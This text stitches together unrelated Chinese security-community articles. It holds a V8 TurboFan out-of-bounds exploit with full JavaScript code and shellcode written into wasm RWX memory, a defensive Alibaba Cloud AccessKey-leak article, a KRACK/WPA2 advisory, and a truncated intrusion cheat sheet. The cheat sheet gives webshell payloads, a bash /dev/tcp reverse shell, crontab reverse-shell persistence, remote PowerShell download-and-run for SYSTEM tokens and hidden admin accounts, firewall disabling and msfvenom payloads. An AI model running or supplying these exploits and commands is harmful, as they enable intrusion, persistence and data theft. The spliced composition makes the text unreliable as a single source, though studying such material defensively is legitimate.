调用 ReplaceWithValue(node, elements); 本来是想将新生成的CheckBounds节点（node_x）替换
MaybeGrowFastElements，这样use边就变为CheckBounds（node_x）<\--- StoreField[+12] 和
CheckBounds（node_x）<\--- EffectPhi。
但调用 ReplaceWithValue(node, elements);
时effect参数为空，所以进入[1]处，取原来节点的输入边作为effect，即"CheckBounds <\---MaybeGrowFastElements" （此处CheckBounds为之前检查索引是否小于length + 1024，设为node_y）。在[3]
处用effect进行替换，导致use边就变为CheckBounds（node_y）<\--- StoreField[+12] 和
CheckBounds（node_y）<\--- EffectPhi。
这样导致node_x失去use边，变成无效节点。
## 漏洞利用
（1）利用漏洞可以越界读写，在后面布置一个浮点型数组oob_array，越界修改它的长度，就可以通过这个浮点型数组进行越界读写，更加方便。
（2）利用越界数组搜索ArrayBuffer数组，找到backing_store所在位置，可以通过backing_store构造任意读写的原语
搜索需要注意的是由于第（1）步覆盖length时，将elements字段也覆盖了（新版v8引进的指针压缩，导致字段都占四个字节，而浮点型数组赋值是8个字节为单位）。所以将elements覆盖成1（表示指针），即从0起始地址开始搜索。然后根据调试确定ArrayBuffer
以及后面的wasm Instance大概处于什么内存区间，进行遍历搜索。在笔者的环境中，搜索以下几个区域：
var search_space = [[0x8902000/8, (0x8940000/8)-1], [0x8213000/8, (0x8280000/8)-1], [(0x8040000-8)/8, 0x805b000/8], [0x8100000/8, (0x818d000/8)-1], [0x8740000/8, (0x8900000/8)-1], [0x8901000/8, (0x8940000/8)-1]];
该方法由于某个区域可能不可访问，导致崩溃，所以exp执行成功有一定概率。
（3）利用越界数组搜索wasm function的位置，这里在mask后面布置的兑现是wasm Instance，因为rwx区域位于wasm
Instance +0x68处，可以直接读取。而不用根据wasm
function->wasm_shared_info->wasm_data->wasm_rwx 构造任意读原语一步步读取。
（4）利用任意写原语将shellcode 写入 rwx区域，即可完成利用。
编写该利用存在的坑：由于越界数组为浮点型，每次读写都是8个字节，而由于v8指针压缩的缘故，字段都被保存为4个字节，所以读写的字段可能位于高4个字节或低4个字节，就需要根据读出的内容进行分情况判断。
exp 代码：
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var Uint32 = new Uint32Array(buf);
var arraybuf = new ArrayBuffer(0x12333);
function f2i(f)
{
float64[0] = f;
return BigInt(Uint32[0]) + (BigInt(Uint32[1]) << 32n);
}
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
function f2half(val)
{
float64[0] = val;
let tmp = Array.from(Uint32);
return tmp;
}
function half2f(val)
{
Uint32.set(val);
return float64[0];
}
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
function gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x100000);
}
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm_function = wasmInstance.exports.main;
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
length_as_double = new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];
var obj;
var corrupting_array;
var corrupted_array;
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0); // [1]
corrupting_array = [0.1, 0.1];
corrupted_array = [0.1];
obj = {mark: 0xdead, obj: wasmInstance};
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}
var oob_array = trigger(giant_array)[1];
console.log("[+] conrrupted array length : 0x" + hex(oob_array.length));
gc();
var backing_store_idx = 0;
var search_space = [[0x8902000/8, (0x8940000/8)-1], [0x8213000/8, (0x8280000/8)-1], [(0x8040000-8)/8, 0x805b000/8], [0x8100000/8, (0x818d000/8)-1], [0x8740000/8, (0x8900000/8)-1], [0x8901000/8, (0x8940000/8)-1]];
for(let i = 0; i < search_space.length; i++)
{
var find = 0;
for(let j = search_space[i][0]; j < search_space[i][1]; j++)
{
if((f2i(oob_array[j]) & 0xffffffffn) == 0x12333n /*|| ((f2i(oob_array[j])) >> 32n) == 0x12333n*/){
backing_store_idx = j + 1;
console.log("[+] find backing_store : 0x" + hex(f2i(oob_array[backing_store_idx])));
if(((f2i(oob_array[j+1])) & 0xfffn) == 0x0n){
find = 1;
break;
}
}
else if(((f2i(oob_array[j])) >> 32n) == 0x12333n){
backing_store_idx = j;
}
}
if(find == 1) break;
}
var data_view = new DataView(arraybuf);
function dataview_read64(addr)
{
oob_array[backing_store_idx] = i2f(addr);
return f2i(data_view.getFloat64(0, true));
}
//----- arbitrary write
function dataview_write(addr, payload)
{
oob_array[backing_store_idx] = i2f(addr);
for(let i=0; i < payload.length; i++)
{
data_view.setUint8(i, payload[i]);
}
}
for(let i = 0; i < search_space.length; i++)
{
var find = 0;
for(let j = search_space[i][0]; j < search_space[i][1]; j++)
{
if((f2i(oob_array[j]) & 0xffffffffn) == 0x0001bd5an ){ // 0x1bd5a = 0xdead *2
var wasmfunc_addr_idx = j;
var wasmfunc_addr = (f2i(oob_array[wasmfunc_addr_idx])) >> 32n;
console.log("[+] leak wasm_func_addr : 0x" + hex(f2i(oob_array[j])));
console.log("[+] find wasm_func_addr : 0x" + hex(wasmfunc_addr));
find = 1;
break;
}
}
if(find == 1) break;
}
var wasm_rwx_idx = Number((wasmfunc_addr -1n +0x68n)/8n);
console.log("[+] find wasm_rwx_idx: 0x" + hex(wasm_rwx_idx*8));
var wasm_rwx_addr_low = (f2i(oob_array[wasm_rwx_idx-1])) >> 32n;
console.log("[+] find wasm_rwx_addr_low : 0x" + hex(wasm_rwx_addr_low));
if((wasm_rwx_addr_low & 0xfffn) != 0x000n){
var wasm_rwx_addr = (f2i(oob_array[wasm_rwx_idx-1]));
console.log("[+] find wasm_rwx_addr: 0x" + hex(wasm_rwx_addr));
}else{
var wasm_rwx_addr_high = ((f2i(oob_array[wasm_rwx_idx])) & 0xffffffffn) << 32n;
console.log("[+] find wasm_rwx_addr_high : 0x" + hex(wasm_rwx_addr_high));
wasm_rwx_addr = wasm_rwx_addr_high + wasm_rwx_addr_low;
console.log("[+] find wasm_rwx_addr : 0x" + hex(wasm_rwx_addr));
}
dataview_write(wasm_rwx_addr, shellcode);
//%DebugPrint(arraybuf);
wasm_function();
运行效果图：
## 参考链接
<https://www.elttam.com/blog/simple-bugs-with-complex-exploits/#the-codestubassembler>
<https://v8.dev/blog/elements-kinds>
<https://www.youtube.com/watch?v=KiWEWLwQ3oI>
<https://bugs.chromium.org/p/project-zero/issues/detail?id=2046>
<https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/>
<https://eternalsakura13.com/2018/08/21/v8_graph/> | 社区文章 |
如今各家云厂商都通过给用户提供API调用的方式来实现一些自动化编排方面的需求。为了解决调用API过程中的通信加密和身份认证问题，大多数云厂商会使用同一套技术方案—基于非对称密钥算法的鉴权密钥对，这里的“密钥对”即API凭证，是云上用户调用云服务API、访问云上资源的唯一身份凭证。
在信息安全领域有一个广为认可的假定，即所有系统都是可攻破的，这里的“攻破”是广义的，可以是外部攻击，也可以是恶意内部威胁（insider
threat），当然也可能是无心泄漏导致的潜在威胁。API凭证（在阿里云被称为AccessKey）作为用户访问内部资源最重要的身份凭证，被外部人员恶意获取或被内部员工无心泄露的案例时有发生，其导致的数据泄露非常严重，因此如何做好API凭证管理和监测就显得非常重要。
# 01 API凭证的安全现状
API凭证相当于登录密码，只是使用场景不同。前者用于程序方式调用云服务API，而后者用于登录控制台。
在阿里云，用户可以使用AccessKey构造一个API请求（或者使用云服务SDK）来操作资源。AccessKey包括AccessKeyId和AccessKeySecret。其中AccessKeyId用于标识用户，AccessKeySecret是用来验证用户的密钥。AccessKeySecret必须保密。在阿里云，它们看起来像这个样子：
（图1）阿里云AK样式
在大多数AK泄露的案例中，都是开发者不小心将自己的AccessKey提交到了任何人都可以访问的公共代码托管平台，导致安全防线毁于一旦。
笔者做了一个简单的测试，在开源代码托管网站Github上搜索一些特定的关键字，可以看到搜索结果近3万条，稍微进一步查找，就能发现某个用户在项目里将自己的AccessKey直接写在代码中。
（图2）泄漏的凭证
笔者曾在不同的代码托管平台搜索了不同云平台的凭证格式，都能发现存在或多或少的凭证泄漏，这已经是一个普遍的安全问题。
北卡罗莱纳州立大学的一篇研究报告则直接指出，“我们在涉及到的10万开源项目中发现，凭证泄漏问题不是一次性偶然问题，而是每天都在发生的，有数千新的、不重复的机密凭证公布到了网站”。
大家应该还记得，2018年波兰某招聘网站被曝泄漏近千份用户简历，内容包含邮件、照片、电话和职业生涯等隐私信息。
（图3）泄漏的简历
相比历史上大型用户密码、信用卡信息泄露之类的事件，这千份私人简历显得有点微不足道。但是因为欧盟新出台的GDPR政策，这类数据泄露可能会导致运营公司面临数千万欧元的罚款。更为严重的是，即使该公司加强在数据安全方面的建设，用户也很难会继续信任该网站，流失的用户数造成的收入减少更是雪上加霜。
事后复盘数据泄漏原因发现，正是因为该公司管理员不慎将云服务器的凭证配置不当，导致黑客未授权访问到了其中一个存储容器而造成的大范围数据泄露。
从漏洞赏金猎人网站Hackerone公开的案例中笔者也能查询到Grab、SnapChat、Starbucks、Uber、Yelp等著名网站也存在过凭证泄漏的问题。
（图4）Hackerone上面公开的案例
所幸这些问题被白帽黑客直接报告给了网站管理方，没有造成事态进一步的恶化。由此可见，当业务发展到一定程度，在使用AccessKey的过程中极有可能会遇到类似的安全问题。
# 02 阿里云安全中心实现AK安全自动化检测闭环
作为国内最大的云服务提供商，阿里云率先和最大的开源代码托管服务商Github合作，引入Token scan机制。
（图5）Token scan流程
整个流程完全自动化，可以实现高效且精准的检测到在Github上泄漏的AccessKey。实际场景中，阿里云能够做到在含有AccessKey的代码提交到Github的数秒之内就通知用户并且做出响应，尽可能减少对用户产生的负面影响。
用户可以在“云安全中心—AK&账密泄露检测”模块中查看到泄漏的详情：
（图6）AK泄漏检测详情
在日常使用云产品的过程中为了防患于未然，用户也可以在“云安全中心—云安全最佳安全实践”检查当前云产品的配置项：
* 确保云产品的操作审计日志处于开启状态，有助于分析是否有异常的调用行为。
* 确保使用Ram用户的AK而不是主账号AK，遵守最小权限原则，一旦发生泄漏问题不至于失去整个云账号的控制权限。
* 确保开启MFA认证。有数据统计显示，当开启多因素认证后能够显著降低因为密码泄漏导致的未授权访问。
（图7）云安全最佳实践
除了泄漏前的提前预防，在“云安全中心—待处理告警—云产品威胁检测”中，系统将对用户日常的业务调用基线做学习，在出现疑似黑客异常AK调用行为时进行告警，及时提醒用户做出响应，做到泄漏后及时检测。
（图8）云产品调用威胁检测
云安全中心为了应对用户不慎泄漏AccessKey造成恶劣影响，设计了全方位检测理念，从泄漏前配置检查——泄漏行为检测——黑客异常调用三点完成检测闭环，为用户的云上业务安全保驾护航。
（图9）云安全中心检测理念
# 03 安全建议
除了上述的措施外，笔者还建议用户在阿里云产品使用过程中遵循以下几点安全规范，从不同角度缓解凭证泄漏造成的影响：
* 不要将AccessKey嵌入代码中。嵌入代码中的凭证容易被人忽视，经验丰富的开发者会将其写入数据库或者独立的文件中，使得其管理起来更方便。
* 定期轮换AccessKey。定期更新代码中存在的AccessKey能够保证一些旧的代码泄漏出去后不会影响线上业务。
* 定期吊销不需要的AccessKey。从控制台可以看见最后一次AccessKey的访问时间，记得把不用的AccessKey都禁用。
* 遵循最小权限原则，使用RAM账户。根据不同业务需要授予不同子账户的读写权限，给不同业务使用不同子账户的AccessKey。
* 开启操作日志审计，并将其投递至OSS和SLS长期保存和审计。将操作日志存至OSS，遇到异常情况可以起到固证的作用，投递至SLS可以在日志量十分庞大的时候也能够高效检索。
上述措施对API凭证泄漏安全风险的防范和收敛有很大的效果，虽然具有一定的运维成本，但正是因为从一次次泄漏事故中我们看见了凭证泄漏对于一个企业的巨大伤害，相比这些巨额的经济损失，运维成本就显得微不足道。希望各位读者能够提早发现风险，提早防范风险，安全的享受API给我们带来的便利。 | 社区文章 |
# 【漏洞预警】KRACK：WPA2系列漏洞事件预警（含技术文章翻译）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 事件描述**
2017年10月16日, 名为KRACK的漏洞攻击方式被披露，针对WiFi+WPA2网络的攻击。
KRACK主要是利用802.11i中4次握手中的漏洞来最终实现解密和伪造加密的WiFi流量，该漏洞由来自imec-DistriNet的Mathy
Vanhoef和 KU Leuven发现。本次漏洞事件有多种攻击型态，AP热点端，中继端，和客户端均受到影响。
根据krackattacks.com和部分厂商发布的安全公告综合分析，包括Linux,Android, Cisco wireless products,
OpenBSD, MacOS, Windows, iOS等产品或平台, 影响面广泛。
360CERT建议客户端产品用户，IoT, 路由器厂商尽快进行相关漏洞评估调查。
附:技术翻译[《密钥重载攻击：强制WPA2重用Nonce》](http://bobao.360.cn/learning/detail/4561.html)一文。
**0x01 事件影响面**
**影响面**
KRACK漏洞的范围广泛，影响面大。
KRACK漏洞可造成WiFi+WPA2的加密网络流量可被攻击者解密或注入恶意攻击包，可能会泄露包括密码等在内的隐私信息，但是使用HTTPS等应用层加密层的流量不受影响。
360CERT综合分析，此次漏洞事件影响面大，漏洞等级重要，暂无规模性实际攻击案例发生，暂评定为较大网络安全事件。
**漏洞信息**
CVE-2017-13077: 4次握手时配对密钥(PTK-TK)重载漏洞
CVE-2017-13078: 4次握手时GTK重载漏洞
CVE-2017-13079: 4次握手时IGTK重载漏洞
CVE-2017-13080: group key握手时GTK重载漏洞
CVE-2017-13081: group key握手时IGTK重载漏洞
CVE-2017-13082: 接收FT重连请求，配对密钥(PTK-TK)重载漏洞
CVE-2017-13084: PeerKey握手时STK key重载漏洞
CVE-2017-13086: TDLS握手时TDLS,TPK重载漏洞
CVE-2017-13087: 处理WNM休眠模式响应帧GTK重载漏洞
CVE-2017-13088: 处理WNM休眠模式响应帧IGTK重载漏洞
**影响版本**
注:部分信息来源[参考3]
Arch Linux
Arista
Aruba
Broadcom
Cisco
DD-WRT
Debian
Extreme Networks
Fedora
FreeBSD
Lenovo
Juniper
Intel Corporation
LineageOS
LXDE
Marvell
Meraki
Microsoft
MikroTik
Mojo Networks
Synology
Turris Omnia
Ubiquiti
Ubuntu
UniFi
VMware
Watchguard Cloud
Windows 10
WPA_supplicant
**0x02 部分技术信息**
**注:部分信息来自[参考1]和[参考4]**
802.11i协议（即：WPA2协议）通过两种独立的机制来保证数据传输的机密性。第一个是在记录层通过加密WiFi帧的方式，保证无法被明文读取或嗅探。该加密机制通常是通过AES-CCM的方式，当然也有部分启动GCM模式，还有部分老的RC4-TKIP方式。
需要认真考虑的是AES-CCM(还包括GCM,
TKIP)是一种流加密，这意味着在重用加密参数key和nonce(即:初始向量)的情况下是可以被攻击的。802.11i是基于包计数(packet
number
number)的方式，其在会话建立后的初始值为0，且会不停递增（当然到了2^48的时候，会触发更新key操作）。这样一来，假设在包计数不被重置的情况下，就可以成功防范key+nonce的重用攻击。
第二个机制是AP和客户端（supplicant）之间的4次握手流程，主要用于协商加密key。KRACK漏洞会直接利用到4次握手中的#3包，#3包可作用于客户端新key安装使用。
KRACK的主要漏洞在于 #3包
可以被恶意阻断。当这个情况发生时，AP端会重发这个消息，会导致同样的一个key在客户端中被重装。带来的副作用是也会导致包计数会被重置为0（部分客户端，如Android6，会把key重置为0)，最终，就会触发key+nonce的重用攻击了。攻击者可以利用它来全流量解密，TCP劫持等。
此外，还有如下2种攻击:
包括针对客户端的基于GTK的攻击；
针对AP端的802.11 RFT握手攻击；
更详细技术细节可参阅360CERT翻译的《[密钥重载攻击：强制WPA2重用Nonce](http://bobao.360.cn/learning/detail/4561.html)》一文。
**Q & A**
注:部分信息来自[参考1]
**我需要更换WiFi密码吗？**
更改WiFi密码并无助于防御和解决该漏洞，你不需要更改。相反的，你应该关注你使用的客户端（Android,
IoT产品）是否更新，路由器固件是否更新了。当然如果你都这么做了，那你可以借此更新下你的WiFi密码了。
**只支持AES套件的WPA2也受该漏洞影响吗？**
是的，也受。
**我的设备是否也受影响？**
如果你的设备支持WiFi+WPA2连接的话(如手机，笔记本电脑等)，很可能也受到影响，请咨询相关厂商。
**如果我的路由器没有发布更新怎么办？**
虽然攻击者的利用可能是针对客户端的，但是路由器等也是有风险的。建议您首先联系下您的厂商确定下是否有安全更新，当然您也可以选择有安全更新的360安全路由器。
**我应该暂时切换到WEP，直到我的设备被更新了？**
别，这绝对不是个好选择。
**这个攻击看起来很难吗？**
其实实践起来并没有那么难，甚至挺普通简单的。千万别认为这个攻击很难。
**0x03 安全建议**
建议用户尽快评估自身的客户端,并安装对应安全更新
**0x04 时间线**
2017-10-16 事件披露
2017-10-17 360CERT发布预警通告
**0x05 参考链接**
Key Reinstallation Attacks Breaking WPA2 by forcing nonce reuse
<https://www.krackattacks.com>
Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2
<https://papers.mathyvanhoef.com/ccs2017.pdf>
KRACK: (K)ey (R)einstallation (A)tta(ck)
<https://github.com/kristate/krackinfo>
Falling through the KRACKs
<https://blog.cryptographyengineering.com/2017/10/16/falling-through-the-kracks/>
Arch Linux: wpa_supplicant
[https://git.archlinux.org/svntogit/packages.git/commit/trunk?h=packages/wpa_supplicant&id=9c1bda00a846ff3b60e7c4b4f60b28ff4a8f7768](https://git.archlinux.org/svntogit/packages.git/commit/trunk?h=packages/wpa_supplicant&id=9c1bda00a846ff3b60e7c4b4f60b28ff4a8f7768)
Arch Linux: hostapd
[https://git.archlinux.org/svntogit/community.git/commit/trunk?h=packages/hostapd&id=d31735a09b4c25eaa69fb13b1031910ca3c29ee5](https://git.archlinux.org/svntogit/community.git/commit/trunk?h=packages/hostapd&id=d31735a09b4c25eaa69fb13b1031910ca3c29ee5)
DD-WRT
<http://svn.dd-wrt.com/changeset/33525>
MicroSoft
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-13080>
Redhat:CVE-2017-13087
<https://access.redhat.com/security/cve/cve-2017-13087>
密钥重载攻击：强制WPA2重用Nonce
<https://cert.360.cn/static/files/%E5%AF%86%E9%92%A5%E9%87%8D%E8%BD%BD%E6%94%BB%E5%87%BB%EF%BC%9A%E5%BC%BA%E5%88%B6WPA2%E9%87%8D%E7%94%A8Nonce.pdf> | 社区文章 |
作者：tom0li
文章内容没谈snmp利用，可以去乌云等社区获取，没有后续内网持久化，日志处理，bypass uac等内容。
### Webshell
>
> 测试主站，搜wooyun历史洞未发现历史洞，github,svn,目录扫描未发现敏感信息,无域传送，端口只开了80端口，找到后台地址，想爆破后台，验证码后台验证，一次性，用ocr识别，找账号，通过google，baidu，bing等搜索，相关邮箱，域名等加常用密码组成字典，发现用户手册，找账号，发现未打码信息，和默认密码，试下登陆成功，找后台，上传有dog，用含有一句话的txt文件`<?php
> eval($_POST['cmd']);?>`，打包为zip，php文件`<?php include
> 'phar://1.zip/1.txt';?>`即可，c刀被拦，修改config.ini文件，php_make
> `@eval(call_user_func_array(base64_decode,array($_POST[action])));`用回调函数，第一个为函数名，二个为传的参数.
### 前期收集
query user || qwinsta 查看当前在线用户
net user 查看本机用户
net user /domain 查看域用户
net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多
net view /domain 查看有几个域
net view \\dc 查看dc域内共享文件
net group /domain 查看域里面的组
net group "domain admins" /domain 查看域管
net localgroup administrators /domain /这个也是查域管，是升级为域控时，本地账户也成为域管
net group "domain controllers" /domain 域控
net time /domain
net config workstation 当前登录域 - 计算机名 - 用户名
net use \\域控(如pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机，可访问资源
ipconfig
systeminfo
tasklist /svc
tasklist /S ip /U domain\username /P /V 查看远程计算机tasklist
net localgroup administrators && whoami 查看当前是不是属于管理组
netstat -ano
nltest /dclist:xx 查看域控
dsquery
whoami /all 查看Mandatory Label uac级别和sid号
net sessoin 查看远程连接session(需要管理权限)
net share 共享目录
cmdkey /l 查看保存登陆凭证
echo %logonserver% 查看登陆域
spn –l administrator spn记录
set 环境变量
dsquery server - 查找目录中的 AD DC/LDS 实例
dsquery user - 查找目录中的用户
dsquery computer 查询所有计算机名称windows 2003
dir /s *.exe 查找指定目录下及子目录下没隐藏文件
arp -a
* 发现远程登录密码等密码 netpass.exe
下载<https://www.nirsoft.net/utils/network_password_recovery.html>
* 获取window vpn密码：
mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets
exit
* wifi密码：
netsh wlan show profile 查处wifi名下一条命令用 netsh wlan show profile WiFi-name
key=clear
* ie代理
reg query
"HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet
Settings" /v ProxyServer
reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet
Settings"
* pac代理
reg query
"HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet
Settings" /v AutoConfigURL //引 t0stmail
#### 一些命令
ping icmp连通性
nslookup www.baidu.com vps-ip dns连通性
dig @vps-ip www.baidu.com
curl vps:8080 http连通性
tracert
bitsadmin /transfer n http://ip/xx.exe C:\windows\temp\x.exe一种上传文件 >=2008
fuser -nv tcp 80 查看端口pid
rdesktop -u username ip linux连接win远程桌面 (有可能不成功)
where file win查找文件是否存在
找路径，Linux下使用命令find -name *.jsp来查找，Windows下，使用for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i
netstat -apn | grep 8888 kill -9 PID 查看端口并kill
### 3389
判断是内网，还是外网，内网转发到vps
netstat -ano,没有开启3389端口,复查下
tasklist /svc,查svchost.exe对应的TermService的pid,看netstat相等的pid即3389端口.
#### 添加user
`net user admin1 admin1 /add & net localgroup administrators admin1 /add`
如不允许远程连接，修改注册表
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
如果系统未配置过远程桌面服务，第一次开启时还需要添加防火墙规则，允许3389端口，命令如下:
`netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in
localport=3389 action=allow`
关闭防火墙
netsh firewall set opmode mode=disable
[3389user无法添加](http://www.91ri.org/5866.html)
#### 隐藏win账户
开启sys权限cmd
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess 'cmd.exe' -Username 'nt authority\system'
add user 并隐藏
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1')
win server有密码强度要求，改为更复杂密码即可
[渗透技巧——Windows系统的帐户隐藏](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F/)
[windows的RDP连接记录](http://rcoil.me/2018/05/%E5%85%B3%E4%BA%8Ewindows%E7%9A%84RDP%E8%BF%9E%E6%8E%A5%E8%AE%B0%E5%BD%95/)
## 反弹，转发
### linux bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
|
bash -i 交互的shell
>& 标准错误输出到标准输出
/dev/tcp/10.0.0.1/8080 建立socket ip port
0>&1 标准输入到标准输出
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/IP/port;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab - 猥琐版(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/IP/PORT;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for whoami%100c\n")|crontab - 详细介绍 https://github.com/tom0li/security_circle/blob/master/15288418585142.md
### ngrok-backdoor
Grok-backdoor是一个简单的基于python的后门，它使用Ngrok隧道进行通信。Ngrok后门可以使用Pyinstaller生成windows，linux和mac二进制文件.
虽然免杀，但如果开win防火墙会提示，生成后门时会询问是否捆绑ngrok，选择no时，在被攻击机执行时需联网下载ngrok，运行后，telnet连接即可.
github <https://github.com/deepzec/Grok-backdoor>
### veil
这里，安装问题有点多，我用kali-2018-32安装成功，先安装下列依赖，后按照官方即可。
apt-get install libncurses5*
apt-get install libavutil55*
apt-get install gcc-mingw-w64*
apt-get install wine32
生成shell
./Veil.py
use 1
use c/meterpreter/rev_tcp
在win gcc -o v.exe v.c -lws2_32 用mingw下gcc编译bypass 360
msfconsole -r veil.rc (其中veil.rc是之前生成的，bypass)
python -m SimpleHTTPServer 80虚拟机里开启，在外访问虚拟机ip即可下载虚拟机文件
### ew
tools: <http://rootkiter.com/EarthWorm>
新版tools： <http://rootkiter.com/Termite/>
正向：
被攻击机(跳板)：
temp目录下
unzip ew.zip
file /sbin/init (查看linux位数)
chmod 755 ew_for_Linux
./ew_for_Linux -s ssocksd -l 9999 (侦听0.0.0.0:9999)
netstat -pantu|grep 9999 (查看是否侦听成功)
攻击机：
proxychain设置socks5 为跳板ip port
proxychain nmap即可以用跳板代理扫描其他主机
反向：
攻击机：
chmod 777 ./ew_for_linux64
./ew_for_linux -s rcsocks -l 1080 -e 2333 即被攻击机连接本机2333端口，转发到本机的1080端口，访问本机的1080端口，相当访问被攻击机的2333
设置proxychain socks5 本主机ip port：1080
proxychain代理即可
被攻击机：
chmod 777 ew_for_linux
./ew_for_Linux32 -s rssocks -d 192.168.1.100 -e 2333
### nc
[nc简单使用](https://tom0li.github.io/2017/05/06/nc/)
linux root 权限
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc ip port 1>/tmp/backpipe
权限不够用mkfifo /tmp/backpipe
以上用nc监听即可
### lcx
被攻击机 lcx.exe -slave 139.1.2.3 8888 10.48.128.25 3389
vps lcx.exe –listen 8888 5555
在本机mstsc登陆139.1.2.3:5555或在vps连接127.0.0.1:5555
### netsh win自带(只支持tcp)360拦
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.1.101 connectport=8080
将本地80转到192.168.1.101:8080端口
netsh interface portproxy add v4tov4 listenaddress=1.1.1.101 listenport=8082 connectaddress=192.168.2.102 connectport=3389
通过连接1.1.1.101的8082端口，相当连接1.1.1.101可访问的内网192.168.2.102的3389端口
### go+msf & py+msf bypass360
msf编码生成后，用go build -ldflags="-H windowsgui -s -w"即可，详细参考以下link
http://lu4n.com/metasploit-payload-bypass-av-note/
http://hacktech.cn/2017/04/20/msf-AntiVirus.html
## 提权
win提权辅助工具，原理主要通过systeminfo补丁信息比对漏洞库
工具链接 <https://github.com/GDSSecurity/Windows-Exploit-Suggester>
linux提权辅助
<https://github.com/jondonas/linux-exploit-suggester-2>
感谢前辈收集的提权exp，地址：
[windows-kernel-exploits Windows平台提权漏洞集合](https://github.com/SecWiki/windows-kernel-exploits)
[linux-kernel-exploits Linux平台提权漏洞集合](https://github.com/SecWiki/linux-kernel-exploits)
### msf
linux相关payload：
linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell/bind_tcp
linux/x64/shell/reverse_tcp
linux/x64/shell_bind_tcp
linux/x64/shell_bind_tcp_random_port
linux/x64/shell_reverse_tcp
windows相关payload:
windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/meterpreter/reverse_hop_http
windows/meterpreter/reverse_http
windows/meterpreter/reverse_http_proxy_pstore
windows/meterpreter/reverse_https
windows/meterpreter/reverse_https_proxy
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp
目标服务器为64位用x64监听，反弹meterpreter用含有meterpreter的模块，反弹普通的shell（例如nc），shell_reverse_tcp模块监听
例如msf:
反弹shell msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
监听 windows/meterpreter/reverse_tcp
反弹shell nc -e cmd.exe ip port
监听 windows/shell_reverse_tcp
meterpreter下上传 upload file 下载 download file
#### Msf进程注入(测试win10没成功,win2008 可以，360会拦)
meterpreter > getuid
Server username: xxxx
meterpreter > getpid
Current pid: 3456
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
